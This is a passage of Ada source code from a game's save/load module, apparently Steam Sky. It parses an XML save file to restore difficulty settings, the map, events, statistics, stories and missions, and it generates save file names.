Close(Input => Save_File);
Save_Data := Get_Tree(Read => Reader);
--## rule off IMPROPER_INITIALIZATION
-- Check save game compatybility
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "save");
Saved_Node := Item(List => Nodes_List, Index => 0);
if Get_Attribute(Elem => Saved_Node, Name => "version") /= "" then
if Positive'Value
(Get_Attribute(Elem => Saved_Node, Name => "version")) >
Save_Version then
raise Save_Game_Invalid_Data
with "This save is incompatible with this version of the game";
end if;
end if;
-- Load game difficulty settings
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "difficulty");
if Length(List => Nodes_List) > 0 then
Log_Message
(Message => "Loading game difficulty settings...",
Message_Type => EVERYTHING, New_Line => False);
Saved_Node := Item(List => Nodes_List, Index => 0);
New_Game_Settings.Enemy_Damage_Bonus :=
Bonus_Type'Value
(Get_Attribute(Elem => Saved_Node, Name => "enemydamagebonus"));
New_Game_Settings.Player_Damage_Bonus :=
Bonus_Type'Value
(Get_Attribute(Elem => Saved_Node, Name => "playerdamagebonus"));
New_Game_Settings.Enemy_Melee_Damage_Bonus :=
Bonus_Type'Value
(Get_Attribute
(Elem => Saved_Node, Name => "enemymeleedamagebonus"));
New_Game_Settings.Player_Melee_Damage_Bonus :=
Bonus_Type'Value
(Get_Attribute
(Elem => Saved_Node, Name => "playermeleedamagebonus"));
New_Game_Settings.Experience_Bonus :=
Bonus_Type'Value
(Get_Attribute(Elem => Saved_Node, Name => "experiencebonus"));
New_Game_Settings.Reputation_Bonus :=
Bonus_Type'Value
(Get_Attribute(Elem => Saved_Node, Name => "reputationbonus"));
New_Game_Settings.Upgrade_Cost_Bonus :=
Bonus_Type'Value
(Get_Attribute(Elem => Saved_Node, Name => "upgradecostbonus"));
if Get_Attribute(Elem => Saved_Node, Name => "pricesbonus") /= "" then
New_Game_Settings.Prices_Bonus :=
Bonus_Type'Value
(Get_Attribute(Elem => Saved_Node, Name => "pricesbonus"));
end if;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
end if;
-- Load game date
Log_Message
(Message => "Loading game time...", Message_Type => EVERYTHING,
New_Line => False);
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "gamedate");
Saved_Node := Item(List => Nodes_List, Index => 0);
Game_Date.Year :=
Natural'Value(Get_Attribute(Elem => Saved_Node, Name => "year"));
Game_Date.Month :=
Natural'Value(Get_Attribute(Elem => Saved_Node, Name => "month"));
Game_Date.Day :=
Natural'Value(Get_Attribute(Elem => Saved_Node, Name => "day"));
Game_Date.Hour :=
Natural'Value(Get_Attribute(Elem => Saved_Node, Name => "hour"));
Game_Date.Minutes :=
Natural'Value(Get_Attribute(Elem => Saved_Node, Name => "minutes"));
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Load sky map
Log_Message
(Message => "Loading map...", Message_Type => EVERYTHING,
New_Line => False);
SkyMap :=
(others =>
(others =>
(BaseIndex => 0, Visited => False, EventIndex => 0,
MissionIndex => 0)));
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "field");
Load_Map_Block :
declare
X, Y: Positive;
begin
Load_Map_Loop :
for I in 0 .. Length(List => Nodes_List) - 1 loop
Saved_Node := Item(List => Nodes_List, Index => I);
X := Natural'Value(Get_Attribute(Elem => Saved_Node, Name => "x"));
Y := Natural'Value(Get_Attribute(Elem => Saved_Node, Name => "y"));
SkyMap(X, Y).Visited := True;
end loop Load_Map_Loop;
end Load_Map_Block;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Load sky bases
Log_Message
(Message => "Loading bases...", Message_Type => EVERYTHING,
New_Line => False);
LoadBases(SaveData => Save_Data);
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Load player ship
Log_Message
(Message => "Loading player ship...", Message_Type => EVERYTHING,
New_Line => False);
LoadPlayerShip(SaveData => Save_Data);
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Load known recipes
Log_Message
(Message => "Loading known recipes...", Message_Type => EVERYTHING,
New_Line => False);
Known_Recipes.Clear;
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "recipe");
Load_Known_Recipes_Loop :
for I in 0 .. Length(List => Nodes_List) - 1 loop
Known_Recipes.Append
(New_Item =>
To_Unbounded_String
(Source =>
Get_Attribute
(Elem => Item(List => Nodes_List, Index => I),
Name => "index")));
end loop Load_Known_Recipes_Loop;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Load messages
Log_Message
(Message => "Loading messages...", Message_Type => EVERYTHING,
New_Line => False);
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "message");
ClearMessages;
Load_Messages_Block :
declare
Text: Unbounded_String;
M_Type: Message_Type;
Color: Message_Color;
begin
Load_Messages_Loop :
for I in 0 .. Length(List => Nodes_List) - 1 loop
Saved_Node := Item(List => Nodes_List, Index => I);
Text :=
To_Unbounded_String
(Source => Node_Value(N => First_Child(N => Saved_Node)));
M_Type :=
Message_Type'Val
(Integer'Value
(Get_Attribute(Elem => Saved_Node, Name => "type")));
Color :=
Message_Color'Val
(Integer'Value
(Get_Attribute(Elem => Saved_Node, Name => "color")));
RestoreMessage(Message => Text, MType => M_Type, Color => Color);
end loop Load_Messages_Loop;
end Load_Messages_Block;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Load events
Log_Message
(Message => "Loading events...", Message_Type => EVERYTHING,
New_Line => False);
Events_List.Clear;
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "event");
Load_Events_Block :
declare
E_Type: Events_Types;
X, Y, Time: Integer;
Data: Unbounded_String;
begin
Load_Events_Loop :
for I in 0 .. Length(List => Nodes_List) - 1 loop
Saved_Node := Item(List => Nodes_List, Index => I);
E_Type :=
Events_Types'Val
(Integer'Value
(Get_Attribute(Elem => Saved_Node, Name => "type")));
X := Integer'Value(Get_Attribute(Elem => Saved_Node, Name => "x"));
Y := Integer'Value(Get_Attribute(Elem => Saved_Node, Name => "y"));
Time :=
Integer'Value(Get_Attribute(Elem => Saved_Node, Name => "time"));
Data :=
To_Unbounded_String
(Source => Get_Attribute(Elem => Saved_Node, Name => "data"));
case E_Type is
when EnemyShip =>
Events_List.Append
(New_Item =>
(EType => EnemyShip, SkyX => X, SkyY => Y, Time => Time,
ShipIndex => Data));
when AttackOnBase =>
Events_List.Append
(New_Item =>
(EType => AttackOnBase, SkyX => X, SkyY => Y,
Time => Time, ShipIndex => Data));
when Disease =>
Events_List.Append
(New_Item =>
(EType => Disease, SkyX => X, SkyY => Y, Time => Time,
Data => Integer'Value(To_String(Source => Data))));
when DoublePrice =>
Events_List.Append
(New_Item =>
(EType => DoublePrice, SkyX => X, SkyY => Y,
Time => Time, ItemIndex => Data));
when FullDocks =>
Events_List.Append
(New_Item =>
(EType => FullDocks, SkyX => X, SkyY => Y, Time => Time,
Data => Integer'Value(To_String(Source => Data))));
when EnemyPatrol =>
Events_List.Append
(New_Item =>
(EType => EnemyPatrol, SkyX => X, SkyY => Y,
Time => Time, ShipIndex => Data));
when Trader =>
Events_List.Append
(New_Item =>
(EType => Trader, SkyX => X, SkyY => Y, Time => Time,
ShipIndex => Data));
when FriendlyShip =>
Events_List.Append
(New_Item =>
(EType => FriendlyShip, SkyX => X, SkyY => Y,
Time => Time, ShipIndex => Data));
when None | BaseRecovery =>
null;
end case;
SkyMap(Events_List(I + 1).SkyX, Events_List(I + 1).SkyY)
.EventIndex :=
I + 1;
end loop Load_Events_Loop;
end Load_Events_Block;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Load game statistics
Log_Message
(Message => "Loading game statistics...", Message_Type => EVERYTHING,
New_Line => False);
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "statistics");
Load_Statistics_Block :
declare
Stat_Index, Nodename: Unbounded_String;
Stat_Amount: Positive;
begin
Saved_Node := Item(List => Nodes_List, Index => 0);
GameStats.BasesVisited :=
Positive'Value
(Get_Attribute(Elem => Saved_Node, Name => "visitedbases"));
GameStats.MapVisited :=
Positive'Value
(Get_Attribute(Elem => Saved_Node, Name => "mapdiscovered"));
GameStats.DistanceTraveled :=
Positive'Value
(Get_Attribute(Elem => Saved_Node, Name => "distancetraveled"));
GameStats.AcceptedMissions :=
Natural'Value
(Get_Attribute(Elem => Saved_Node, Name => "acceptedmissions"));
GameStats.Points :=
Positive'Value(Get_Attribute(Elem => Saved_Node, Name => "points"));
Child_Nodes_List := Child_Nodes(N => Saved_Node);
Load_Statistics_Loop :
for I in 0 .. Length(List => Child_Nodes_List) - 1 loop
Nodename :=
To_Unbounded_String
(Source =>
Node_Name(N => Item(List => Child_Nodes_List, Index => I)));
if To_String(Source => Nodename) /= "#text" then
Stat_Index :=
To_Unbounded_String
(Source =>
Get_Attribute
(Elem => Item(List => Child_Nodes_List, Index => I),
Name => "index"));
Stat_Amount :=
Positive'Value
(Get_Attribute
(Elem => Item(List => Child_Nodes_List, Index => I),
Name => "amount"));
end if;
if To_String(Source => Nodename) = "destroyedships" then
GameStats.DestroyedShips.Append
(New_Item => (Index => Stat_Index, Amount => Stat_Amount));
elsif To_String(Source => Nodename) = "finishedcrafts" then
GameStats.CraftingOrders.Append
(New_Item => (Index => Stat_Index, Amount => Stat_Amount));
elsif To_String(Source => Nodename) = "finishedmissions" then
GameStats.FinishedMissions.Append
(New_Item => (Index => Stat_Index, Amount => Stat_Amount));
elsif To_String(Source => Nodename) = "finishedgoals" then
GameStats.FinishedGoals.Append
(New_Item => (Index => Stat_Index, Amount => Stat_Amount));
elsif To_String(Source => Nodename) = "killedmobs" then
GameStats.KilledMobs.Append
(New_Item => (Index => Stat_Index, Amount => Stat_Amount));
end if;
end loop Load_Statistics_Loop;
end Load_Statistics_Block;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Load current goal
Log_Message
(Message => "Loading current goal...", Message_Type => EVERYTHING,
New_Line => False);
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "currentgoal");
CurrentGoal.Index :=
To_Unbounded_String
(Source =>
Get_Attribute
(Elem => Item(List => Nodes_List, Index => 0),
Name => "index"));
CurrentGoal.GType :=
GoalTypes'Val
(Integer'Value
(Get_Attribute
(Elem => Item(List => Nodes_List, Index => 0),
Name => "type")));
CurrentGoal.Amount :=
Integer'Value
(Get_Attribute
(Elem => Item(List => Nodes_List, Index => 0), Name => "amount"));
CurrentGoal.TargetIndex :=
To_Unbounded_String
(Source =>
Get_Attribute
(Elem => Item(List => Nodes_List, Index => 0),
Name => "target"));
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Load current story
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "currentstory");
if Length(List => Nodes_List) > 0 then
Log_Message
(Message => "Loading current story...", Message_Type => EVERYTHING,
New_Line => False);
Saved_Node := Item(List => Nodes_List, Index => 0);
CurrentStory.Index :=
To_Unbounded_String
(Source => Get_Attribute(Elem => Saved_Node, Name => "index"));
CurrentStory.Step :=
Positive'Value(Get_Attribute(Elem => Saved_Node, Name => "step"));
if Get_Attribute(Elem => Saved_Node, Name => "currentstep") =
"start" then
CurrentStory.CurrentStep := 0;
elsif Get_Attribute(Elem => Saved_Node, Name => "currentstep") =
"finish" then
CurrentStory.CurrentStep := -1;
else
Load_Story_Steps_Loop :
for I in Stories_List(CurrentStory.Index).Steps.Iterate loop
if Stories_List(CurrentStory.Index).Steps(I).Index =
To_Unbounded_String
(Source =>
Get_Attribute
(Elem => Saved_Node, Name => "currentstep")) then
CurrentStory.CurrentStep :=
Steps_Container.To_Index(Position => I);
exit Load_Story_Steps_Loop;
end if;
end loop Load_Story_Steps_Loop;
end if;
CurrentStory.MaxSteps :=
Positive'Value
(Get_Attribute(Elem => Saved_Node, Name => "maxsteps"));
CurrentStory.ShowText :=
(if Get_Attribute(Elem => Saved_Node, Name => "showtext") = "Y" then
True
else False);
if Get_Attribute(Elem => Saved_Node, Name => "data") /= "" then
CurrentStory.Data :=
To_Unbounded_String
(Source => Get_Attribute(Elem => Saved_Node, Name => "data"));
end if;
CurrentStory.FinishedStep :=
StepConditionType'Val
(Integer'Value
(Get_Attribute(Elem => Saved_Node, Name => "finishedstep")));
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
end if;
-- Load finished stories data
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "finishedstory");
Load_Finished_Stories_Block :
declare
Steps_Amount: Positive;
Temp_Texts: UnboundedString_Container.Vector;
Story_Index: Unbounded_String;
begin
Log_Message
(Message => "Loading finished stories...",
Message_Type => EVERYTHING, New_Line => False);
Load_Finished_Stories_Loop :
for I in 0 .. Length(List => Nodes_List) - 1 loop
Saved_Node := Item(List => Nodes_List, Index => I);
Story_Index :=
To_Unbounded_String
(Source => Get_Attribute(Elem => Saved_Node, Name => "index"));
Steps_Amount :=
Positive'Value
(Get_Attribute(Elem => Saved_Node, Name => "stepsamount"));
Temp_Texts.Clear;
Child_Nodes_List := Child_Nodes(N => Saved_Node);
Load_Stories_Text_Loop :
for J in 0 .. Length(List => Child_Nodes_List) - 1 loop
Temp_Texts.Append
(New_Item =>
To_Unbounded_String
(Source =>
Node_Value
(N =>
First_Child
(N =>
Item
(List => Child_Nodes_List,
Index => J)))));
end loop Load_Stories_Text_Loop;
FinishedStories.Append
(New_Item =>
(Index => Story_Index, StepsAmount => Steps_Amount,
StepsTexts => Temp_Texts));
end loop Load_Finished_Stories_Loop;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
end Load_Finished_Stories_Block;
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "acceptedmission");
Load_Accepted_Missions_Block :
declare
use Bases;
M_Type: Missions_Types;
Target_X, Target_Y, Start_Base: Natural;
Time, Reward, M_Index: Positive;
Finished: Boolean;
Target: Natural;
Index: Unbounded_String;
Multiplier: RewardMultiplier;
begin
Log_Message
(Message => "Loading accepted missions...",
Message_Type => EVERYTHING, New_Line => False);
Load_Missions_Loop :
for I in 0 .. Length(List => Nodes_List) - 1 loop
Saved_Node := Item(List => Nodes_List, Index => I);
M_Type :=
Missions_Types'Val
(Integer'Value
(Get_Attribute(Elem => Saved_Node, Name => "type")));
if M_Type in Deliver | Destroy then
Index :=
To_Unbounded_String
(Source =>
Get_Attribute(Elem => Saved_Node, Name => "target"));
else
Target :=
Integer'Value
(Get_Attribute(Elem => Saved_Node, Name => "target"));
end if;
Time :=
Positive'Value
(Get_Attribute(Elem => Saved_Node, Name => "time"));
Target_X :=
Natural'Value
(Get_Attribute(Elem => Saved_Node, Name => "targetx"));
Target_Y :=
Natural'Value
(Get_Attribute(Elem => Saved_Node, Name => "targety"));
Reward :=
Positive'Value
(Get_Attribute(Elem => Saved_Node, Name => "reward"));
Start_Base :=
Natural'Value
(Get_Attribute(Elem => Saved_Node, Name => "startbase"));
Multiplier :=
(if Get_Attribute(Elem => Saved_Node, Name => "multiplier") /= ""
then
RewardMultiplier'Value
(Get_Attribute(Elem => Saved_Node, Name => "multiplier"))
else 1.0);
Finished :=
(if
Get_Attribute
(Elem => Item(List => Nodes_List, Index => I),
Name => "finished") =
"Y"
then True
else False);
case M_Type is
when Deliver =>
AcceptedMissions.Append
(New_Item =>
(MType => Deliver, ItemIndex => Index, Time => Time,
TargetX => Target_X, TargetY => Target_Y,
Reward => Reward, StartBase => Start_Base,
Finished => Finished, Multiplier => Multiplier));
when Destroy =>
AcceptedMissions.Append
(New_Item =>
(MType => Destroy, ShipIndex => Index, Time => Time,
TargetX => Target_X, TargetY => Target_Y,
Reward => Reward, StartBase => Start_Base,
Finished => Finished, Multiplier => Multiplier));
when Patrol =>
AcceptedMissions.Append
(New_Item =>
(MType => Patrol, Target => Target, Time => Time,
TargetX => Target_X, TargetY => Target_Y,
Reward => Reward, StartBase => Start_Base,
Finished => Finished, Multiplier => Multiplier));
when Explore =>
AcceptedMissions.Append
(New_Item =>
(MType => Explore, Target => Target, Time => Time,
TargetX => Target_X, TargetY => Target_Y,
Reward => Reward, StartBase => Start_Base,
Finished => Finished, Multiplier => Multiplier));
when Passenger =>
if Target > 91 then
Target := 91;
end if;
AcceptedMissions.Append
(New_Item =>
(MType => Passenger, Data => Target, Time => Time,
TargetX => Target_X, TargetY => Target_Y,
Reward => Reward, StartBase => Start_Base,
Finished => Finished, Multiplier => Multiplier));
end case;
M_Index := AcceptedMissions.Last_Index;
if Finished then
SkyMap
(Sky_Bases(AcceptedMissions(M_Index).StartBase).Sky_X,
Sky_Bases(AcceptedMissions(M_Index).StartBase).Sky_Y)
.MissionIndex :=
M_Index;
else
SkyMap
(AcceptedMissions(M_Index).TargetX,
AcceptedMissions(M_Index).TargetY)
.MissionIndex :=
M_Index;
end if;
end loop Load_Missions_Loop;
end Load_Accepted_Missions_Block;
-- Load player career
Log_Message
(Message => "Loading player career...", Message_Type => EVERYTHING,
New_Line => False);
Nodes_List :=
DOM.Core.Documents.Get_Elements_By_Tag_Name
(Doc => Save_Data, Tag_Name => "playercareer");
if Length(List => Nodes_List) > 0 then
Saved_Node := Item(List => Nodes_List, Index => 0);
Player_Career :=
To_Unbounded_String
(Source => Get_Attribute(Elem => Saved_Node, Name => "index"));
else
Player_Career :=
Careers_Container.Key(Position => Careers_List.First);
end if;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
Free(Read => Reader);
Log_Message
(Message => "Finished loading game.", Message_Type => EVERYTHING);
exception
when An_Exception : others =>
Free(Read => Reader);
Player_Ship.Crew.Clear;
raise Save_Game_Invalid_Data
with Exception_Message(X => An_Exception);
end Load_Game;
procedure Generate_Save_Name(Rename_Save: Boolean := False) is
use Ada.Directories;
use Utils;
Old_Save_Name: constant String := To_String(Source => Save_Name);
begin
Generate_Save_Name_Loop :
loop
Save_Name :=
Save_Directory & Player_Ship.Crew(1).Name & "_" & Player_Ship.Name &
"_" & Positive'Image(Get_Random(Min => 100, Max => 999))(2 .. 4) &
".sav";
exit Generate_Save_Name_Loop when not Exists
(Name => To_String(Source => Save_Name)) and
Save_Name /= Old_Save_Name;
end loop Generate_Save_Name_Loop;
if Rename_Save then
if Exists(Name => Old_Save_Name) then
Rename
(Old_Name => Old_Save_Name,
New_Name => To_String(Source => Save_Name));
end if;
end if;
end Generate_Save_Name;
end Game.SaveLoad;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.